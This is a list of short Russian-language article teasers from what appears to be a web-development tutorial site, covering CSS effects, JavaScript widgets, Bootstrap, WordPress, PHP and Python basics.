data urls - это uri схема, которая позволяет встраивать мультимедиа данные в html-документ. предположим, вы хотите вставить небольшое изображение ...
эта статья является продолжением предыдущей статьи, которая находится здесь. шаг 3: кодирование отображаемого кода для предотвращения межсайтового ...
не секрет, что вероятнее всего верстка, старательно выполненная верстальщиком по psd макету, а дальнейшем перекочует в руки к специалисту по ...
заказчики лэндингов часто просят сделать маску ввода телефона, желая таким образом задать определённый стандарт вводимых номеров клиентами. ...
на этом уроке мы разберем пример поворачивающейся карточки с картинкой. с лицевой стороны у карточки картинка, на обратной стороне - текст. при ...
на прошлом уроке мы разобрались, зачем нужна библиотека jquery ui и как её подключить. на этом уроке подробнее остановимся на виджете slider. речь идёт ...
на этом уроке мы научимся устанавливать на сайт видео фон во всю ширину экрана. обычно такие видео фоны служат вместо статичного фона в верхней ...
эта статья является продолжением предыдущей статьи. первая часть находится здесь хотя в реальности, мы редко когда манипулируем временем, ...
продолжаем делать выезжающее боковое меню по клику, в первой части урока была сделана html-разметка, стилизованы все селекторы, теперь осталось ...
на дворе уже 2020 год и я думаю, что этап агитации делать верстку с использованием препроцессоров, уже давно пройден. поэтому можно без потери ...
часть 1 когда вы разрабатываете сайт на своем собственном компьютере, потенциальные посетители, набрав в браузере адрес http://myrusakov.ru ...
на прошлом уроке мы создали футер, украшенный волной, в его верхней части. согласитесь, что неплохо было бы оживить нашу волну - сделать анимацию. ...
в свернутом виде меню навигации из себя представляет кнопку с иконкой плюс. при клике по кнопке меню разворачивается - иконки образуют круг ...
на этом уроке мы сделаем нестандартную анимацию для переключателя меню-гамбургер на языке javascript. создание переключателя создадим саму кнопку-переключатель ...
на этом уроке мы научимся встраивать строку поиска в адаптивное меню навигации, используя при этом только html/css код. демонстрация примера. ...
каждый веб-сайт создается для достижения некоторой цели. оптимизация конверсии (conversion rate optimization – cro) – это процесс, имеющий целью увеличить ...
тем, кто знает, что такое обратный звонок на сайте, предлагаю не читать, а перейти сразу к следующей главе. для остальных постараюсь объяснить, ...
разработчики клиентских сайтов на wordpress, часто сталкиваются с необходимостью восстанавливать сайт, после очередного обновления какого-нибудь ...
полупрозрачная бизнес карта органично вписывается в любой дизайн сайта. если поменять изображение у фона, например на летнюю тему, то бизнес ...
если бы таблицы могли хорошо адаптироваться под разные разрешения экранов, то человечество и по сей день делало бы табличную верстку. я ещё ...
сервис яндекс.деньги позволяет любому физическому лицу (для юрлиц и ип есть яндекс.касса), разместить на сайте форму оплаты, даже владельцам ...
как сделать массовый импорт товаров в интернет-магазин, работающий на плагине wordpress – woocommerce? совсем недавно этого нельзя было сделать бесплатно, ...
продолжим создание индикатора для меню навигации. здесь находится первая часть урока. стилизация и hover-эффект меню при наведении мыши, иконка ...
в спокойном состоянии кнопка выглядит обычно, в стиле плоского дизайна. однако при наведении на нее мыши, происходит переворачивание с 3d-эффектом. ...
сегодня вы узнаете как сделать чекбокс на html и добавить ему css стилей для лучшей совместимости с дизайном сайта. демонстрация чекбокс на ...
на втором уроке мы уже стилизовали контактную форму и разместили ее в левой колонке. остальные три блока (контактная информацию, соц. иконки ...
разделим рисование куба условно на пять сторон и сверху крышка top. html код тегами span обозначим 4 стороны куба с использованием переменной i. ...
в этой статье речь пойдет не о стилизации стандартного чекбокса созданного на html, а о создании чекбокса с нуля и реализации его переключения ...
часть 1 часть 2 у начинающих php-разработчиков возникает соблазн получить все и сразу, установив такие пакеты, как xampp, wamp, mamp или easyphp. аббревиатура ...
на прошлом уроке, мы научились делать css анимацию элементов, используя библиотеки animate.css + wow.js. на этом уроке мы научимся как сделать тоже самое, ...
на этом уроке мы разберем основные правила css анимации на веб-странице, которые можно применить к любому элементу, а не только к тексту. просто ...
часть 1 часть 2 часть 3 используя готовые пакеты программного обеспечения для разработки сайтов, вы лишаетесь опыта работы в области администрирования ...
на этом уроке мы не просто познакомимся с градиентами, но и узнаем, как их можно применять на практике. вариантов применения градиентов в веб-дизайне, ...
доброго времени суток! в прошлой статье мы рассмотрели с вами, что такое операционная система linux и какие дистрибутивы бывают. одним из самых ...
на этом уроке, мы делали анимацию элементов, используя библиотеку animate.css. css анимация отрабатывала сразу, после загрузки страницы и останавливалась, ...
какое количество сюжетов используется в голливудских фильмах? некоторые критики говорят, что их всего пять. а сколькими способами можно структурировать ...
oauth 2.0 - это открытый протокол авторизации, который позволяет одним приложениям получать доступ к данным других приложений. например, игровое ...
на этом уроке мы будем создавать адаптивную контактную форму на всю ширину браузера, используя css и медиа-запросы. демонстрация примера. ...
javascript - это гибкий и мощный язык программирования, который реализуется различными веб-браузерами. наряду с html и css, это основной компонент ...
первая часть этой статьи находится здесь, а в данной статье мы продолжим обсуждать десять частых ошибок в ux дизайне. ошибка 6: пространство ...
последнее время мне все чаще задают вопросы о том, как устроены индикаторы, показывающие текущую позицию чтения текста (количество прочитанного ...
данная статья является продолжением предыдущей статьи, в которой мы говорили о том, как реализовать индикатор позиции чтения. в прошлой статье ...
на большинстве сайтах поля форм обратной связи, по ширине не больше 300 пикселей. форма с максимальной шириной в 320 пикселей целиком поместится ...
на этом уроке мы сделаем анимацию svg вектора, используя jquery плагин - lazy line painter. суть анимации состоит в постепенном прорисование любого векторного ...
из этого урока вы узнаете как создать адаптивное навигационное меню с иконками, используя библиотеку font awesome и палитру цветов, на чистом css. ...
на прошлом уроке мы начали делать адаптивное меню для сайта, наше меню хорошо смотрится на больших и средних экранах, но при уменьшении размеров, ...
доброго времени суток! несмотря на то, что структура базы данных может быть создана в ручную, путем описания sql-кода необходимого для создания ...
использовать на сайте иконки font awesome очень просто и для этого совсем не надо быть дизайнером. даже если вы не подберёте себе нужную иконку из ...
всем привет! в этой статье мы рассмотрим утилиты и типографию в bootstrap 4 и преобразим наш блок, написанный в предыдущей статье. если вы перейдете ...
каким образом посетители перемещаются на вашем сайте? как они находят то, что ищут? это в большой степени определяется организацией вашего ...
существуют четыре основных принципа визуального дизайна, которые могут применяться для разработки дизайна всего что угодно. это повторение, ...
доброго времени суток! сегодня мы рассмотрим с вами ка можно создать эффект бьющегося сердца средствами css-анимации. итак, код ниже: <!doctype html> ...
доброго времени суток! сегодня мы рассмотрим основные термины, используемые при работе с инструментом визуаального проектирования интерфейсов ...
доброго времени суток! сегодня мы поговорим с вами о новшестве языка php - атрибутах. в php 8 была добавлена поддержка атрибутов, которые предоставляют ...
мы продолжаем серию уроков по верстке сайта с нуля с плоским дизайном. на первом уроке была сверстана шапка макета. на втором уроке - блок с ...
всем доброго времени суток. сегодня я хотел бы поделиться с вами, посетителями моего сайта, очень важной информацией. буквально на днях я запустил ...
продолжаем уроки по верстке сайта с нуля. на первом уроке мы верстали шапку сайта. на втором уроке - блок с большой картинкой. на этом уроке мы ...
мы продолжаем серию уроков по верстке сайта с нуля. на прошлом уроке мы верстали шапку макета. далее идет блок из одной большой фотографии в ...
начиная с этого урока, мы будем учиться верстке сайта с нуля в популярном flat стиле. эта тема очень объемная и мы посвятим ей не один урок. что ...
продолжаем изучать компонент zend log. первая часть данной статьи находится здесь. предобработка данных. если вам необходимо в автоматическом ...
в этом уроке мы научимся с вами делать горизонтальное анимированное выпадающее меню на css3, при наведении курсором на его категории, будет меняться ...
всем привет! в этой статье мы продолжим изучать bootstrap 4 и рассмотрим компонент под названием cards. cards – это компонент, который позволяет создавать ...
в мире веб-разработки php продолжает выделяться как один из самых широко используемых языков программирования.с каждой новой версией php представляет ...
всем привет! в этой статье мы рассмотрим, что такое reboot в bootstrap 4 и какую роль он играет в фреймворке. в основную задачу bootstrap входит обеспечение ...
как начинающие, так и опытные верстальщики не могли не заметить, что вместе с новыми возможностями в css3 технологиях, объем самого css-кода, существенно ...
архитектура программного обеспечения играет ключевую роль в разработке веб-приложений, определяя их структуру, распределение компонентов ...
описание: кнопка с динамически появляющимся текстом. при нажатии на кнопку пользователь переходит на заданный в скрипте файл. не совсем тривиальный ...
описание: очень простой и часто используемый скрипт. очень простой скрипт, который способен реализовать любой, кто занимается созданием сайтов ...
описание: текст на кнопке в виде бегущей строке. весьма интересный скрипт javascript, который вполне может быть использован при создании сайта на ...
описание: достаточно простой скрипт, основанный на таймерах javascript. всё, что он делает, так это при наведении мышки начинает переливаться цветом, ...
описание: продолжу тему создания различных анимационных эффектов на javascript, и сегодня покажу вам ещё один интересный скрипт, который двигает ...
swoole — это современное высокопроизводительное асинхронное расширение для php, которое позволяет разработчикам создавать масштабируемые, параллельные ...
xor (exclusive or)- это логическая операция, которая возвращает истину (1), если и только если оба операнда различаются. это означает, что результат xor ...
всем привет! в предыдущей статье мы рассмотрели, что такое boostrap и зачем он нужен, а в этой рассмотрим, как установить и начать использовать bootstrap ...
openssl - это универсальная криптографическая библиотека, предоставляющая различные методы шифрования для защиты данных. далее мы рассмотрим ...
всем привет! если вы ищите легковесную, простую javascript галерею с поддержкой свайпов и без зависимостей, то ваш выбор – photoswipe. как уже было сказано, ...
в мире, пронизанном технологиями, нейронные сети становятся непременным инструментом для решения широкого спектра задач, начиная от распознавания ...
в мире веб-разработки существует множество технологий и подходов, которые помогают упростить процесс передачи данных между различными компонентами ...
всем привет! сегодня я пишу первую статью из серии, посвященной фреймворку boostrap, в которой вы узнаете, что такое bootstrap и как его использовать. ...
в php, передача данных между приложением и сервером в формате json является обычной практикой. интерфейс jsonserializable предоставляет возможность управления ...
любой, кто имеет опыт разработки web приложений или использования какого-либо php фреймворка, безусловно, сталкивался с реляционными базами данных, ...
суть эффекта параллакс заключается в разных скоростях движения отдельных элементов фоновой картинки, при этом сам фон при прокручивании страницы, ...
наверняка вы много раз видели на разных сайтах - пульсирующую кнопку с иконкой телефонной трубки. это достаточно эффективный прием, побуждающий ...
эффект плавного перехода в css часто применяется при наведении курсора на какой-нибудь элемент, например для кнопки. когда при наведении курсора, ...
на этом уроке я покажу вам как реализовать такой hover эффект, как плавное подчеркивание ссылки при наведении. подчеркивающая линия будет появляться ...
на этом уроке я покажу вам как сделать очень необычный текстовый эффект, применяя чистый css. для этого потребуется большая фотография в качестве ...
на этом уроке мы сделаем всплывающую подсказку при наведении на иконку на чистом css. точно такой же принцип можно применить к картинке. перейдите ...
на этом уроке мы научимся делать простой hover эффект для кнопки с помощью псевдокласса :nth-child. на кнопке есть текст - button, при наведении курсора ...
на этом уроке мы сделаем меню с красивым эффектом при наведении с использованием псевдоэлементов - :after и :before. что такое псевдоэлементы, мы очень ...
в этой статье вы узнаете о шаблонных строках в javascript, которые упрощают работу со строками. до es6 мы использовали только одинарные кавычки ...
статья "бриф на разработку сайта" - ответила на вопрос, что такое бриф и кому он нужен. данная статья будет практическим руководством, как создать ...
в статье "конструктор mobirise для верстальщика" была подробно раскрыта тема, чем полезен конструктор mobirise верстальщику. в этой статье, я прокомментирую ...
это будет не просто очередная статья в стиле "копирайтеров-теоретиков" на тему, что такое "бесплатный конструктор сайтов mobirise". прежде, чем приступить ...
эта статья является логическим продолжением двух предыдущих статей: "бриф на разработку сайта" и "прототипирование сайта – важный этап" все ...
в статье "бриф на разработку сайта" вы узнали что такое бриф и зачем надо анкетировать заказчика. вам крупно повезет, если у заказчика существует ...
официальный сайт: textolite.ru textolite представляет собой простую систему управления статичным сайтом с бесплатной и платной расширенной версией. ...
css фильтры чаще всего применяют к фоновым изображениям или фотографиям. по сути они заменяют программу photoshop, чтобы добиться некоторого эффекта, ...
чем ещё можно привлечь внимание пользователя? например, при наведении курсора наша кнопочка могла бы двигаться, вращаться, искажаться или масштабироваться. ...
сегодня почти каждая серьезная компания распространяет свои товары и услуги через интернет с помощью собственного сайта. в условиях технологического ...
на предыдущем уроке вы узнали какие seo плагины рекомендуется установить на любой wordpress сайт. на этом уроке вы узнаете как защитить ваш сайт и ...
в этой статье не рассматриваются технические термины и концепции, чтобы обеспечить ее содержание простым. если вы программист, позвольте мне ...
хорошее понимание работы механизма перенаправления url исключительно важно для любого мало-мальски сложного web-приложения. я уже писал о механизме ...
главнейшим инструментом для заработка в интернет-маркетинге является e-mail рассылка. совершенно не важно, продаете ли вы собственные товары ...
с помощью css селекторов мы выбираем какие конкретно элементы на сайте стилизовать. о чем нам говорит эта запись? h1 { color: red; } = селектор { свойство: ...
продолжаем предыдущую статью о том, как составить продающее письмо.     упростите отмену подписки. согласно законодательству, ...
каждый грамотный программист стремится писать код, который работает. однако в долгосрочной перспективе вероятность того, что ваша программа ...
продолжаем предыдущую статью, в которой рассказывалось как загрузить файл на сервер в expressjs. в данной статье мы рассмотрим как загрузить сразу ...
прежде чем ответить на этот вопрос, сначала мне нужно объяснить, что такое структурированные данные. в простейшем смысле структурированные ...
необходимость размещать текст в колонках на веб-страницах, безусловно пришла из газет и журналов. однако на мониторах компьютеров, читать длинные ...
зачем обязательно надо делать картинки адаптивными? к сожалению, то счастливое время, когда можно было вставить картинку на веб-сайт и указать ...
наверняка вы видели на многих сайтах кнопку в виде иконки с тремя горизонтальными полосками, напоминающий гамбургер. в большинстве случаев ...
это вторая часть по гамбургер меню. в первой части мы сделали пока только верстку. 5. скачать библиотеку jquery-3.3.1.min.js подключаем к нашему html ...
при создании собственного сайта его владелец рано или поздно сталкивается с вопросом - где найти контент для него. ведь мало кого заинтересует ...
предположим, у вас есть продукт, портфолио или просто идея, которой вы хотите поделиться на своем сайте. прежде чем опубликовать что-либо в интернете, ...
на первой части урока, мы делали верстку на flexbox-ах, а на этом уроке, адаптируем и анимируем элементы сайта, используя библиотеку animate.css. адаптация ...
на первом уроке мы уже создали большую часть html-разметки. google карта пошаговая инструкция как вставить на сайт карту с вашим объектом. ...
на это уроке мы рассмотрим эффект, когда при движении курсора плавно появляется и исчезает текст. создание и стилизация текста <div class="box"> ...
пропишем внутри ссылок data*-атрибуты с названиями ссылок. это нужно для передачи этих названий в функцию attr для получения hover-эффекта. <ul> ...
жизнь не стоит на месте и вот в очередной нас порадовали разработчики самого популярного css-фреймворка bootstrap. наконец-то вышла новая версия bootstrap ...
что такое a/b тестирование сайта a/b тестирование - это сравнение двух страниц с разным дизайном, но в одинаковых условиях, чтобы выяснить какая ...
не всякий раз верстка бесплатных макетов в учебных целях, хорошая идея. такое занятие требует много времени и высока вероятность, что вам быстро ...
делать карусель на чистом js, с нуля и самому? зачем изобретать велосипед, когда есть готовые решения, slick / owl слайдеры? на это есть, как минимум ...
на одном из предыдущих уроков, мы рассматривали самый простой способ, как сделать таблицу адаптивной. суть адаптации таблицы сводилась к появлению ...
часто можно увидеть в социальных сетях, как бывалые программисты внушают новичкам, что им не нужно тратить время на изучение библиотеки jquery. ...
продолжим разбор с ошибок при верстке сайта, которые допускают начинающие верстальщики. рекомендую начать с первой и второй части статьи, если ...
на этом уроке продолжим разбор ошибок начинающих верстальщиков. первые две ошибки были связаны с использованием строчных и блочных элементов. ...
возможно, что после прочтения статьи python – как первый язык программирования, вам захочется познакомиться поближе с питоном (народное название). ...
в css grid можно позиционировать отдельно взятую ячейку (grid item), как по оси x, так и по оси y. поэтому, все рассматриваемые css свойства будут относиться ...
список в python представляет из себя упорядоченную коллекцию однотипных или не однотипных элементов и относится к типу данных list. это когда в переменную ...
словарь является типом данных (dist) в python и представляет собой неупорядоченную коллекцию, состоящую из пар "ключ-значение". словари в python очень ...
интригующее название «заработок на продаже товара, которого у вас нет нет» никакая не мошенническая схема, а вполне реальный бизнес. который ...
на этом уроке мы рассмотрим один из вариантов создания анимации на javascript, через функцию requestanimationframe. по большому счету существует два способа, ...
в этой статье, мы познакомимся с базовыми основами работы со строками в python. строка (string) содержит в себе набор символов в кодировке ascii и относится ...
плагин eslint - это лучший помощник для отлавливания ошибок в процессе написания javascript кода. предупреждая нас о них прямо на лету в редакторе кода. ...
предназначение цикла while в python, такое же, как и в других языках программирования - выполнять одинаковые инструкции столько раз, пока условие ...
в программировании мы всегда взаимодействуем с данными, которые не являются какой-то абстрактной субстанцией. все данные разделяются по определенному ...
для чего нужен движок unreal engine unreal engine - это бесплатный и кроссплатформенный игровой движок, разрабатываемый и поддерживаемый компанией epic ...
на этом уроке создадим тест с вопросами и полями для ввода ответов для дальнейшего размещения на сайте. вопросы и ответы теста хранятся в последовательно ...
для начинающих верстальщиков проблематика не прижатого футера, какое-то время может быть не очевидна. когда контента хватает на всю высоту ...
на этом уроке мы познакомимся с ещё одним типом данных в python, множеством (по-английски - set). множество - это неупорядоченный набор уникальных ...
изучать программирования без решения практических задач, не имеет никакого смысла. вам не нужна теория, просто ради теории и работодателю тоже. ...
конструктор яндекс карт независимо от этого куда вы в дальнейшем будете вставлять яндекс карту, первый шаг всегда начинается с конструктора ...
чтобы сделать свою версию этого дизайна, на первых порах вам не нужен photoshop и дизайнерские навыки. простые вещи можно сделать легко и быстро, ...
многие люди не имеют четкого представления, что такое «удаленка» и что такое фриланс. а некоторые вообще пребывают в полной уверенности, ...
продолжаем верстку формы входа, используя методологию бэм. шаг 3. под ссылкой – блок с аватаркой. <div class="form__avatar"> <img src="img/avatar.png" alt="avatar"> ...
на этом уроке вы узнаете, как стилизовать стандартные радио кнопки под свой дизайн, с помощью html и css. на сайтах радио кнопки чаще всего используются ...
добавить иконки соцсетей на wordpress сайт можно с помощью обычного виджета text. находим в кастомайзере виджет text и добавляем его в первую колонку ...
шорткод woocommerce - это короткий код для вывода товаров, страниц и категорий. при запуске короткий код развернется в полноценный код. шорткоды woocommerce ...
я хочу вывести иконки социальных сетей в верхнем правом углу шапки сайта с помощью хуков. поскольку верхняя область у меня уже занята ссылками, ...
сегодня мы поговорим о требуемых навыках для работы не на фрилансе, а в офисе, как на месте, так и удаленно. просматривая размещенные вакансии ...
на этом уроке мы сделаем валидацию номера телефона на js. для этого создадим форму с одним единственным полем, куда пользователь будет вводить ...
сегодня поговорим о том, как сделать анимацию чисел на сайте - полезный эффект увеличения чисел, который часто можно увидеть на лендингах. данный ...
продолжаем разбирать настройки плагина yoast seo, здесь первая часть статьи. отображение в поисковой выдаче / медиа когда вы загружаете медиафайл, ...
на этом уроке разберем настройки популярного yoast seo плагина (версия 15.4) для использования в онлайн-магазинах, работающих на основе woocommerce плагина. ...
в очередной раз, просматривая вакансии на html-верстальщика, на предмет поиска темы для новой статьи, в списке требований работодателя, наткнулся ...
на прошлом уроке, мы закончили с чекбоксом, нам осталось сделать кнопку. шаг 7. внутри блока с формой, сделаем разметку для кнопки, обернем ...
у вас на руках есть готовый дизайн для футболки. что с ним делать дальше? как получить готовый продукт в свой интернет-магазин? для начала нужно ...
пока вы сидели в одиночестве, вылавливая на фриланс-биржах, подходящие для себя заказы, офисные веб-разработчики, уже на полную катушку, использовали ...
бывает, что заказчики часто просят, сделать дополнительную навигацию на wordpress и вывести её, в указанном на скриншоте, месте (красными стрелочками). ...
в прошлой статье мы рассмотрели с вами как установить visual studio 2019. а в этой непосредственно приступим к разработке первого приложения на c#. ...
нас, веб-разработчиков, строгий google, уже давно убедил, что изображения на сайте, надо оптимизировать – уменьшать их вес. красный или оранжевый ...
доброго времени суток! перед тем как начать программировать на c#, вам необходимо установить интегрированную среду разработки visual studio community. ...
все базы данных делятся на два типа, с хранением данных в таблицах (mysql) и с хранением данных, в массивах (формат bson). mongodb – документо-ориентированная ...
в статье работа с библиотекой jquery ui, мы подробно на примере виджета tooltip, разобрали, как подключить библиотеку, зачем она вообще нужна. сегодня, ...
на этом уроке, мы сделаем таймер обратного отсчета на javascript, используя уже готовую верстку на html и css. если на странице вашего сайта или лендинга ...
градиент - это плавный переход от одного цвета к другому. в веб-дизайне мы часто сталкиваемся с фоновыми и интерфейсными градиентами и намного ...
что вообще должно происходить с этими кнопками и карточками товаров? при клике пользователя по черной кнопке, на сайте должны остаться только ...
ни в коем случае нельзя бездумно создавать на сайте анимации, просто ради анимации. как говорится, медицинский совет "не навреди", здесь вполне ...
несмотря на существенный прорыв в создании анимаций на css, javascript по прежнему остаётся главным инструментом по анимациям в веб-разработке. на ...
данная статья является логическим продолжением статьи «как уменьшить размер изображения без photoshop». доступность больших и качественных ...
элемент с position: sticky отображается как относительно спозиционированный до тех пор, пока не пересечет заданную границу и тогда он ведет себя как ...
на этом уроке мы с вами научимся, как быстро и легко сделать на сайте симпатичный анимированный фон. для этого нужно подключить и настроить замечательный ...
на этом уроке вы узнаете, как на языке javascript сделать простой спойлер. спойлер на сайте - это скрытая часть контента, которая будет скрыта до тех ...
на этом уроке вы узнаете, как на языке javascript показать и скрыть любой элемент на сайте, кликнув по кнопке. html структура в html разметке присутствует ...
на этом уроке мы реализуем интересный эффект с фокусировкой размытого фона и размытия изображения при наведении в css. при наведении на элемент ...
в первой части урока мы сверстали логотип и меню для десктопных устройств. во второй части урок нарисовали и запрограммировали кнопку гамбургер. ...
в первой части урока мы сверстали логотип и меню для десктопных устройств. в чем проблема с меню навигации для планшетов и смартфонов? на маленьких ...
на этом уроке мы разберем, как вставить видео в кастомном видеоплеере на html страницу. в качестве импровизированного видеоплеера, будет использовано ...
значения свойства transition управляют плавной сменой свойств при анимации, наведении и клике на любой элемент. css свойство transition нацелено на улучшение ...
многие из вас наверняка видели, что при заполнение формы можно поставить галочку в поле с чекбоксом и при вводе пароль станет видимым. сегодня ...
в статье про формы, тема полей ввода (input) умышленно осталась не затронутой, поскольку она обширная и заслуживает отдельного внимания. элемент ...
как показывает практика, для начинающих фронтендеров, самой большой проблемой при кастомизации slick слайдера, остается настройка стрелок и точек. ...
fancybox 3 это универсальный плагин, использующий возможности библиотеки jquery для быстрой вставки медиа-контента на сайте в виде галереи. в этой ...
на прошлом уроке мы сделали верстку слайдера, на этом уроке настроим и стилизуем slick слайдер. настройки slick слайдера просматривая демо-страницу ...
я считаю, что верстальщику необходим навык стилизации готового slick слайдера под слайдер на макете для верстки. сейчас объясню почему. предположим, ...
что такое аккордеон в html? это компактный способ отображения контента на сайте. чаще всего это текстовые блоки с информацией, например ответы ...
использование всплывающих подсказок на html страницах, прекрасная возможность дать пользователю уточняющую информацию, в удобном для него виде ...
по умолчанию все браузеры ищут фавикон в корне сайта, но ничего не случиться, если мы поместим фавикон в папку с картинками и укажем пути в хедере ...
flex блок представляет собой flex-контейнер, внутри которого вдоль основной оси, расположены flex-элементы. это легко представить в виде шашлыка, ...
в интернете мы то и дело ищем какую-нибудь информацию, чаще всего это текст и поэтому не случайно всех больше html тегов предусмотрено именно для ...
с технологией флексбоксов стало намного проще не только адаптивно верстать сайты, но и выравнивать элементы. раньше с этим было трудновато. ...
на этом уроке мы сделаем верстку адаптивной шапки сайта (лендинга), используя bootstrap сетку. если вы не знаете что это такое, советую почитать статью ...
существует два принципиально разных способа, добавления иконок на сайт: в виде картинки (растровой или векторной) в качестве иконочного ...
css свойство transform-origin позволяет задать местоположение точки, относительно которой происходит трансформация (смещение, деформация, вращение, ...
к рамке любого элемента на странице может быть применена css анимация. на этом уроке мы создадим keyframe анимацию рамки. посмотрите демо на codepen ...
сегодня мы поговорим о сервисе icomoon, который позволяет создавать шрифтовые иконки для различных проектов. что же это за шрифты и в чем их преимущества? ...
где на сайте можно использовать угловую ленту? например ленту можно добавить на блок с ценами, скидками, подарками или украсить карточку с лучшим ...
на этом уроке я покажу, как буквально за считанные минуты можно бесплатно сделать гифку из видео с помощью онлайн-сервиса giphy. работать с данным ...
на этом уроке мы сделаем модальное окно на js. уже трудно себе представить современный коммерческий сайт без модального окна. поэтому, понимание ...
что такое микроразметка сайта микроразметка - это разметка веб страниц с использованием специальных атрибутов и тегов, которые помогают структурировать ...
сегодня мы поговорим о том, как использовать простую javascript библиотеку, которая строит несложные графики в формате svg. библиотека morris.js позволяет ...
сегодня мы научимся получать значения из формы на jquery, вводимые пользователем. рассмотрим на примере простого калькулятора. у него будет два ...
сегодня мы разберем 3 основных способа выравнивания блоков по ширине с помощью css. 1. выравнивание блоков на flexbox на данный момент способ выравнивания ...
в первой части, мы учились получать и изменять значение атрибута на jquery. во второй части, напишем программу на jquery - при клике по цветной кнопке, ...
на данном уроке мы познакомимся с технологией drag-and-drop, дословный перевод тяни и бросай. задача реализуется путем захвата элемента и перемещения ...
на этом уроке мы научимся выводить на странице значения координат (x, y) курсора, в момент движения мыши внутри блока с помощью javascript. определение ...
всем частным компаниям или государственным организациям необходимо размещать в контактах карту их местоположения. поисковая система google, ...
любой веб-разработчик в ежедневной рутине сталкивается с шаблонами и макетами, состоящие из определенного набора компонентов. большая часть ...
вы были молодцом и уже прошли курс по основам верстки, хорошо знаете html теги и css свойства. кто-то из вас воспользовался многочисленными бесплатными ...
на этом уроке, мы создадим красивый эффект тени при наведении, на чистом css. подобный эффект можно реализовать на любом блочном элементе. в нашем ...
на этом уроке мы научимся рисовать речевые и мыслительные выноски, которые применяются в комиксах. нередко подобный комиксовый стиль можно ...
на этом уроке мы с вами нарисуем первую букву логотипа google, используя css свойство border и псевдоэлемент. цвет логотипа google первым делом определим, ...
в статье про то, как сделать скошенные углы на css, мы разобрали только два кроссбраузерных способа. однако есть ещё и третий способ (через свойство ...
наверняка вы много раз видели на сайтах, как фоновая картинка при прокрутке вниз плавно уменьшалась в размерах до полного исчезновения, чтобы ...
существует несколько способов создания блоков со скошенными углами на css. блоки со скошенными углами можно использовать для секций или для ...
вам срочно нужна на сайт всплывающая форма, но вы ещё не дружите с javascript? тогда стоит внимательно изучить этот урок, чтобы понять в чем заключается ...
на этом уроке мы разберем три разных эффекта при наведении на кнопку. посмотрите демо на codepen html разметка создадим в разметке три разных ...
как с пользой можно применить эффект печатающегося текста на сайтах? первое, что приходит в голову - для фиксирования внимания посетителей на ...
вначале урока по созданию иконки юзера, мы выяснили, почему лучше предпочесть иконки на css, против готовых шрифтовых. на этом уроке, мы научимся ...
чем это хорошо самостоятельно рисовать иконки на чистом css, когда можно за считанные минуты найти любую иконку на иконочных сервисах и вставить ...
прежде чем использовать и публиковать изображения на веб-сайте, сначала их необходимо подготовить. подготовка включает в себя уменьшение веса ...
оформить красиво статью на html - это не значит, как-то ярко или по-особому. вовсе нет, стиль оформления, не должен напрягать читателя и вызывать ...
на этом уроке мы подробно разберем, как сделать карточку товара на css. под карточкой товара, я подразумеваю продающую карточку в интернет-магазинах. ...
для верстальщика псевдоэлементы и псевдоклассы – незаменимые помощники и я вам это сейчас докажу на примере фрагмента psd макета. дизайнеры ...
на этом уроке вы узнаете, как заставить placeholder не исчезать, а переместится наверх при заполнении поля формы. html разметка форма состоит из ...
на всей странице будет происходить плавное движение вверх разноцветных квадратиков разного размера. подготовка фона для анимации создадим ...
css анимация, состоит из ключевых кадров @keyframes, куда прописываются стандартные css свойства. собственно для создания эффектной анимации, нужны ...
мне нравиться использовать шрифтовые иконки из библиотеки fontawesome, потому что их легко кастомизировать под любую цветовую гамму сайта. html разметка ...
посмотрите сначала предыдущий урок. а что если пользователь не догадается навести мышку на свернутое меню, чтобы его развернуть? неплохо было ...
по умолчанию боковое меню выглядит, как узкая полоска с иконками. так пользователь понимает, что это меню можно развернуть и увидеть названия ...
много реалистичные пузырьков разных размеров, с разной скоростью поднимаются вверх, лопаясь на ходу. как такое возможно сделать на javascript? перед ...
в прошлой статье мы говорили с вами о линейном поиске, который подойдет для поиска в небольших по объему не сортированных коллекциях. однако, ...
в чем состоит необычность эффекта? у карточки есть два лица. в своем обычном состоянии карточка пронумерована и полностью закрашена красным ...
чтобы нарисовать реалистичные капли воды, не обязательно владеть техникой рисования. достаточно хорошо знать css-свойства и уметь применять ...
какие в принципе существуют варианты, чтобы расположить текст вертикально на чистом css. я, как минимум знаю два варианта, оба мы сейчас и рассмотрим. ...
пользователь водит мышкой по экрану и автоматически стирается верхний слой. под верхним слоем находится фоновая картинка. немного движений ...
для получения изогнутой тени, нужно прописать обоим псевдоэлементам before и after, css-свойство transform: skewy. по оси y, мы изменим прямые углы на +-7.5 градусов. ...
при наведении на элемент, можно менять не только его внешний вид посредством css, но и самого курсора. а с помощью javascript реагировать на событие ...
авторам статей или коммерческих текстов удобно писать и сразу видеть сколько символов уже написано. ведь от этого зависит, сколько денег в итоге ...
как легко и оригинально оживить текст, не создавая никакой анимации? об этом вы узнаете на этом уроке. эффект красиво смотрится только на крупном ...
этот необычный эффект строится на двухслойности: нижний слой желтый, а верхний - синий. двигая мышкой слева направо, вы постепенно убираете верхний ...
сделать на css красивую градиентную тень вместо обычной серовато-черного цвета? это никакая не сверхзадача, css легко с этим справляется. создание ...
как можно получить красивый эффект анимации градиента, если в css-коде не используются вообще градиенты? испытаем данный трюк на loader. создание ...
4) позиционирование инпута и текста .list ul label{     position: relative; / * относительное позиционирование * /     display: flex; / * отображать ...
обычно форма поиска как минимум состоит из двух полей input: это текстовое поле, куда пользователь вводит ключевое поисковое слово и кнопки "поиск". ...
на этом уроке, мы создадим сайдбар с иконками, для этого нам пригодится иконочный шрифт и хорошие знания в html + css. надо сказать, что мода на ...
переменные в css появились в основном для создания анимаций. на этом уроке мы сделаем лоадер с летающим по заданной траектории самолетом. это ...
сделать какой-нибудь простенький эффект при наведении можно с помощью самого курсора, меняя его внешний вид. html разметка создадим меню, используя ...
шаг 1) создание html-разметки сделать кнопку можно разными способами: через тег button, div или a. я предпочитаю сделать это сразу через ссылку a, поскольку ...
при создании веб-сайта мы должны уделять первоочередное внимание цели привлечения посетителей, с тем, чтобы задержать их затем дольше на сайте. ...
чтобы пользователю было веселее переходить по ссылкам, веб-разработчики придумывают креативные hover-эффекты. зачастую хватает одного css, без ...
мне очень нравится этот способ создания бегущей волны для последующей ее анимации. почему? здесь мы не используем никакой графики, только свойства ...
по умолчанию маркером списка ul, служит простая черная точка. я знаю, что многие начинающие верстальщики, используют маркированные списки для ...
в данной статье я расскажу вам, что такое шаблонизатор twig, и чем он может помочь веб-разработчику. любой, кто уже пытался разрабатывать свой ...
сегодня мы создадим три вкладки (tabs), переключаясь между которыми, поочередно будет скрываться или снова показываться, содержимое всех вкладок. ...
